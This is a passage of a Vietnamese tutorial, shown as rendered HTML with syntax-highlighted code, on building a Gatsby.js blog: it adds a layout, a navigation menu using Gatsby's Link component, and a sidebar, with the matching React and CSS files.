punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/lien-he.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text">Liên hệ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Cuối cùng lưu lại trang, bạn sẽ thấy sự khác biệt (cụ thể là: font chữ, màu chữ, background color đã thay đổi).</p> <p>Như vậy là mình đã thiết lập Layout cơ bản cho các trang. Tiếp theo, mình sẽ thêm menu vào Layout để có thể chuyển hướng giữa các trang một cách dễ dàng.</p> <h4 id="tạo-menu" style="position:relative;"><a href="#t%E1%BA%A1o-menu" aria-label="tạo menu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo menu</h4> <p>Mình sẽ tạo Menu dạng React Component. Trước tiên, mình tạo mới 2 file <strong>/src/components/menu.js</strong> và <strong>/src/components/menu.css</strong>.</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/menu.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./menu.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>header</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-brand<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Gatsby Blog Demo</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>ul</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/lien-he/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Liên hệ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/gioi-thieu/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Giới thiệu</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Trang chủ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>ul</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>header</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/menu.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">header</span> <span class="token punctuation">{</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> -webkit-flex<span class="token punctuation">;</span> <span class="token property">align-items</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">justify-content</span><span class="token punctuation">:</span> space-between<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">header ul</span> <span class="token punctuation">{</span> <span class="token property">list-style-type</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.nav-item</span> <span class="token punctuation">{</span> <span class="token property">float</span><span class="token punctuation">:</span> right<span class="token punctuation">;</span> <span class="token property">margin-left</span><span class="token punctuation">:</span> 35px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.nav-brand a, .nav-item a</span> <span class="token punctuation">{</span> <span class="token property">text-decoration</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.nav-item a:hover</span> <span class="token punctuation">{</span> <span class="token property">text-decoration</span><span class="token punctuation">:</span> underline<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Mình sẽ không giải thích nhiều về nội dung 2 file này, vì nó là kiến thức cơ bản của React, JavaScript, HTML, CSS.</p> <p>Bây giờ, mình sẽ thêm Menu vào Layout:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/layout.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./layout.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Menu <span class="token keyword">from</span> <span class="token string">"./menu"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> children <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Menu</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span>children<span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Lưu lại, bạn sẽ thấy kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABuklEQVQoz42PTWsTURSG73/IKhBIDcF2VX9F05ULa+dm2k4+Oo0otb9FXZciRcNM0oV2pdQwV1MmjRMLIugmndDNxJn7OUkkuREqkXQsUsGSwwPn2bznA2Qyy+vrG7lcTtM0CLOqugYhVCC8PX9VCwtTpv1PpVKpeDyeTqfBrbm5RCKxuHjnydNnz/f3d/f2yoZRPTgwTNOsVAzTNCpm5GXDePGy/Orw9fbjnVgslkwmwd3MkrJ6f2XlHoRZvZjV9XyhUNS0fEnfeFDSt/R8Sdf04tqjh5uKAqGyurNdUFVVgcpyZgl8+9rGOPQ85nm026UYU0KugTH1fRoEUwn8yMlgMKzVLNA8cU9P+47DHUd8/iIIFUIIzv8ihDg/F64rCJlKpyN8n33vyjdvEThz3V6/zxjnXIRhT4iQs2vhKM/FlXBBKZNSIoRAvV6vWZbjtCyELPShfnyMMYmm/A/GuJRjhN6DdvuMMX75G8GYBEFwuSGcKey6ncHgR3RzxM3JfzeHYY9SxhifEULocDiyLAQ8r3tx8UvK8Xj8c0ZGIzmZTGzbBkdH75rNj7bdaDROZsS2G63Wp2q1+hsqUyL4491GcAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Thêm menu vào Gatsby Project" title="Thêm menu vào Gatsby Project" src="/static/87dc1b015761365c6bf7507159cd891a/7c811/gatsby-menu.png" srcset="/static/87dc1b015761365c6bf7507159cd891a/103f2/gatsby-menu.png 165w, /static/87dc1b015761365c6bf7507159cd891a/748ba/gatsby-menu.png 330w, /static/87dc1b015761365c6bf7507159cd891a/7c811/gatsby-menu.png 660w, /static/87dc1b015761365c6bf7507159cd891a/a6a70/gatsby-menu.png 730w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bạn có thể thử nhấn vào mỗi Menu item thì sẽ thấy trang web có chuyển hướng đến các trang tương ứng.</p> <p>Tuy nhiên, bạn cũng thấy là khi chuyển sang các trang khác (giới thiệu, liên hệ) thì trang blog bị reload. Dĩ nhiên, đây là điều bình thường đối với các trang web thông thường. Nhưng Gatsby thì khác, Gatsby.js cho phép bạn chuyển qua lại giữa các trang (thuộc blog) mà trình duyệt không cần phải reload - theo kiểu Single Page Application. Vì vậy mà các trang web viết bằng Gatsby thường tải rất nhanh. Để làm được việc này, bạn cần phải thay thế thẻ <em>a</em> bằng component <em>Link</em> của Gatsby.js.</p> <h4 id="tạo-liên-kết-giữa-các-trang-thông-qua-link-component" style="position:relative;"><a href="#t%E1%BA%A1o-li%C3%AAn-k%E1%BA%BFt-gi%E1%BB%AFa-c%C3%A1c-trang-th%C3%B4ng-qua-link-component" aria-label="tạo liên kết giữa các trang thông qua link component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo liên kết giữa các trang thông qua Link component</h4> <p>Bạn mở file <em>/src/components/menu.js</em> và sửa lại thành:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/menu.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./menu.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> Link <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>header</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-brand<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Gatsby Blog Demo</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>ul</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/lien-he/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Liên hệ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/gioi-thieu/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Giới thiệu</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Trang chủ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>ul</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>header</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, tất cả thẻ <em>a</em> đã được thay bằng <em>Link</em> component và thuộc tính <em>href</em> được thay bằng <em>to</em>.</p> <p>Bạn thử lưu lại và kiểm tra thì sẽ thấy giao diện trang blog không hề thay đổi. Nhưng khi mình nhấn vào các Menu item để di chuyển giữa các trang thì trang blog không bị reload lại. Thậm chí là khi bạn dừng server lại thì trang blog vẫn hoạt động bình thường (trừ khi bạn nhấn F5).</p> <h4 id="tạo-sidebar" style="position:relative;"><a href="#t%E1%BA%A1o-sidebar" aria-label="tạo sidebar permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo sidebar</h4> <p>Hiện tại, mình chưa thêm bài viết nào, nên cũng chưa có chuyên mục hay thẻ nào hết. Do đó, sidebar nếu có thì cũng trống rống. Tuy nhiên, mình cứ thiết kế layout để đấy trước, rồi sẽ thêm nội dung sau.</p> <p>Để tạo sidebar mình tạo thêm 2 file là: <em>/src/components/sidebar.js</em> và <em>/src/components/sidebar.css</em>.</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/sidebar.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./sidebar.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>aside</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">This is Sidebar</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>aside</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/sidebar.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token comment">/* Tạm thời chưa có gì */</span></code></pre></div> <p>Sau đó, thêm Sidebar vào layout:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/layout.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./layout.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Menu <span class="token keyword">from</span> <span class="token string">"./menu"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Sidebar <span class="token keyword">from</span> <span class="token string">"./sidebar"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> children <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Menu</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>content<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span>children<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>sidebar<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Sidebar</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Sửa lại giao diện layout một chút:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/layout.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token comment">/* * Mình chỉ trích dẫn phần thay đổi thôi nhé! */</span> <span class="token selector">.main</span> <span class="token punctuation">{</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> -webkit-flex<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.sidebar</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 280px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.content</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> <span class="token function">calc</span><span class="token punctuation">(</span>100% - 280px<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong bài demo này, mình không thiết kế giao diện Responsive. Phần này, nếu muốn, bạn phải tự xử lý thôi!</p> <p>Bây giờ lưu lại và kiểm tra giao diện một chút:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 66.06060606060606%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABk0lEQVQoz92NTUsbURSG51cEQmIWFhTd1IVdSfysEgjpBKbixBl0TBV/itb/oNDMVF3Un2Awswkm1q+IK0e9c2+8mc7cz+heNCKiLbju4eHwcs55z6uk0+mZGV3XC181LZfLqaqazWYzmUwqler6ayW7EolEPB6PxWJKb09PX1//x4GB1e9rJcdZ39jY3Nr6tbNj247t/HzsTkeXbOdHyd7c3l5ZWe3u/pBMJpWhT4NTn8fHJ8byan7OnJ6fmzUMs1AwilZh8ZtVXDAXLKNo6UuLlqZpX9T88pJpGvrk1OToyLBSrx+2cARhC4AmuIYIIgSbECLfh9BHj0AfQN9HAMAOCDUxDjAOlGr1/PDo7uA3r9fF8YkIQyGk5FxwIYWQnEspZdCS3qUMQ4lvpOfJMBQ+EKgplNPTBhciigghlFJGCCOEviSKIgD8iwvP865erRTXdXfL5f1arbLnlvfcSsXFGDPGKWXPPH98OaSUPSSTiATBnw4Yt94e/Qul0Thrt28pZYzxDu90PpmlbL8/7T8w3wOST2F99JyFsgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Thêm Sidebar vào Gatsby Blog" title="Thêm Sidebar vào Gatsby Blog" src="/static/31743bc67cefecc13b2c5754302542db/7c811/gatsby-them-sidebar.png" srcset="/static/31743bc67cefecc13b2c5754302542db/103f2/gatsby-them-sidebar.png 165w, /static/31743bc67cefecc13b2c5754302542db/748ba/gatsby-them-sidebar.png 330w, /static/31743bc67cefecc13b2c5754302542db/7c811/gatsby-them-sidebar.png 660w, /static/31743bc67cefecc13b2c5754302542db/bf436/gatsby-them-sidebar.png 745w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Mình nghĩ bạn có thể tưởng tượng được giao diện sau khi hoàn thiện sẽ như thế nào rồi phải không?</p> <h3 id="thêm-bài-viết-vào-blog" style="position:relative;"><a href="#th%C3%AAm-b%C3%A0i-vi%E1%BA%BFt-v%C3%A0o-blog" aria-label="thêm bài viết vào blog permalink" class="anchor before"><svg aria-hidden="true" focusable="false" 